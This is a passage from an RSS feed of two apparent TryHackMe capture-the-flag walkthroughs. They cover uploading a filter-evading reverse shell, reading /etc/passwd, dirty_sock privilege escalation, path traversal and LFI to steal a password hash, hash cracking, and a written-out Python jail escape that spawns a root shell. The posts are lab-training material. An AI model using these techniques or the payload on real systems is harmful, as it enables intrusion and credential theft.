src="https://cdn-images-1.medium.com/max/1024/1*jey_9nGetfEzwdx4UZ4Enw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hArh82ggZbh55Cm1Ot62hQ.png" /></figure><p>List of /php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*QYLdVVyHcv5mc_C-9t94_w.png" /></figure><p>Use Upload.php to upload an image reverse shell payload. Filtering prevents a normal php shell.. you have to be creative. I was stuck here for awhile.. testing payloads. Eventually got one to work!</p><p><em>If you are human, make sure to set the cookie parameter correctly in your requests. Use 443 in payload, navigating SSL</em></p><p>Upload and navigate to shell to get reverse connection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yzgPIg3GuFPma8YkmLToOA.png" /></figure><p>Cat /etc/passwd for machine users (this isn’t needed for room but its something I always do)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IgSeyVK3kl3_I77b4UGbmA.png" /></figure><p>Claim first flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*Gd84gCOQ2-ioezYmP82lLQ.png" /></figure><p>Copy linpeas and linux exploit suggester to client machine<br>LinPEAS (not sure but this is probably password for /business on port 80)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eR94BqeigvLm4itS_k3_RA.png" /></figure><p>LES suggests CVE-2021–3056 sudoedit (it fails (should have verified first..))<br>Also suggests CVE-2019–7304 dirty_sock. This works and gets us root flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uTtl2qSRuRazXp_gLTQ7xQ.png" /></figure><p>Navigate to /tmp and download the exploit to client machine</p><p>Run the exploit (use v2.. v1 did not work for this machine)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hezSqivmIpDSdHNvszeSPw.png" /></figure><p>Switch to newly created dirty_sock user and claim root flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NlqcAo5eJPcrc-jcaxF-9g.png" /></figure><p>Thanks to MuirlandOrcale for his time and expertise.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf6d9f9092a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me — Tokyo Ghoul]]></title>
            <link>https://troy10101.medium.com/try-hack-me-tokyo-ghoul-1055bfdd0eb7?source=rss-29e12e6ba5e7------2</link>
            <guid isPermaLink="false">https://medium.com/p/1055bfdd0eb7</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[stenography]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[troy10101]]></dc:creator>
            <pubDate>Mon, 28 Jun 2021 04:30:55 GMT</pubDate>
            <atom:updated>2021-07-01T00:15:14.577Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Tokyo Ghoul</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NLBYQ1fGWEEQYfC1EHD9uw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*SU41LmZPdszhRIYbEoFiog.png" /><figcaption><a href="https://tryhackme.com/room/tokyoghoul666">https://tryhackme.com/room/tokyoghoul666</a></figcaption></figure><h3>Summary</h3><p>This machine has a bit of everything! Its time consuming but fun! Start with nmap scan on all ports which leads to defaults on 80, 21 and 22. Navigating to landing page on 80 view note in source and gain access to FTP server with Anonymous credentials. Reversing the exfiltrated executable from FTP we are given a password. Using this password “stenographically” extract yougotme.txt from FTP exfiltrated image. Reading this file gives us a code when decrypted gives access to secret directory. Webpage has two options both point to same file. Catching this request with burp use path traversal to exploit LFI and obtain user hash. Using the credentials cracked with hashcat SSH to machine and gain foothold and user flag. Using sudo permissions jail break a python script to drop root shell and obtain root flag.</p><h3>Action</h3><p>Nmap Scan Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*7kO2jqOpI0SEhrQ7I82O7w.png" /></figure><p>Landing page on 80:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ArbmpNCRqGt1bBn66_2odg.png" /></figure><p>Viewing source gives a clue:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CRShn9OqiUIRuwDf6kBoMg.png" /></figure><p>Login to FTP and enumerate:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*8gQeDryQ40UWzagBtt4v4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*B7HfllOm0cxDz1mEgGESsA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PBFqLKJUC5MR20A0H8JtjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*OHgC0cJHlV4fp6Qj1Fdv4g.png" /></figure><p>Reverse ELF downloaded via FTP and see the following messages as comments:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lenWYENXCkB-wwm_jgVIEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a1YkLUisg-fFHATdZFU1Hg.png" /></figure><p>Set a <em>breakpoint</em> before <em>jump</em> at variable <em>compare</em> and pull with loaded password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xei_189IYDmAR-KzgVokyQ.png" /><figcaption>Note: this could have been done faster using ltrace v/s radare2.. but doesn’t look as cool! ;)</figcaption></figure><p>Use exfiltrated password &amp; run the binary:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qvm99cX3w-XAQgGCJkj79Q.png" /></figure><p>Use password from ELF to extract data from image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*hvxmm27YaaOkII8yGxPC3w.png" /></figure><p>View the file. Looks like Morse code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*UwUwqcrUHU7W494RC9cwzw.png" /></figure><p>Decode<br>From Morse, From hex From base64:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5ogyihEvbRfwTQZc5ZfyLQ.png" /></figure><p>Adding “secret directory” to known domain receive the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ApZG2fP_cBcQ5sEJWABc5g.png" /></figure><p>Think we should listen and run a gobuster scan..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ypkXpcgvZujdzXXi9Ozeg.png" /></figure><p>Loading the page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*LNn58un_m_lI1zDKx-SALA.png" /></figure><p>Options at the top, yes and no, both go to the same page. Seeing the path in the browser search window leads me to believe this webpage might be vulnerable to path traversal and consequentially LFI bypass.</p><p>Catch request in burp and verify path traversal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wdnhuI1Xdf6ioLRyuVFtAw.png" /></figure><p>Exploit path traversal gain user hash<br><em>*URL Encode dots and slashes*</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FPjwOdzPFKFotnZgKPLIjA.png" /></figure><p>Touch hash file and crack with hashcat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*noTaNfBmFZE_KupKv0TViA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JMKOCX0KSAve-Jg2O1Mjmw.png" /></figure><p>SSH to machine using exfiltrated credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QWiMCGNaNCZcflK_HFh2aw.png" /></figure><p>Claim User Flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*UhsgdqmA3-VBP_lxyW-eSw.png" /></figure><p>Jail.py in in the same folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TNNZQXsTz9p8U8ep0528Gw.png" /></figure><p>After some research found this explaining how to exploit rooted python jails:<br><a href="https://anee.me/escaping-python-jails-849c65cf306e">https://anee.me/escaping-python-jails-849c65cf306e</a></p><p>__builtins__.__dict__[‘__IMPORT__’.lower()](‘OS’.lower()).__dict__[‘SYSTEM’.lower()](‘/bin/bash’)</p><p>Using this method obtain root and claim the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fn8Ngj6MdO7Wu8108tNNmQ.png" /></figure><p>Thanks for reading! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1055bfdd0eb7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>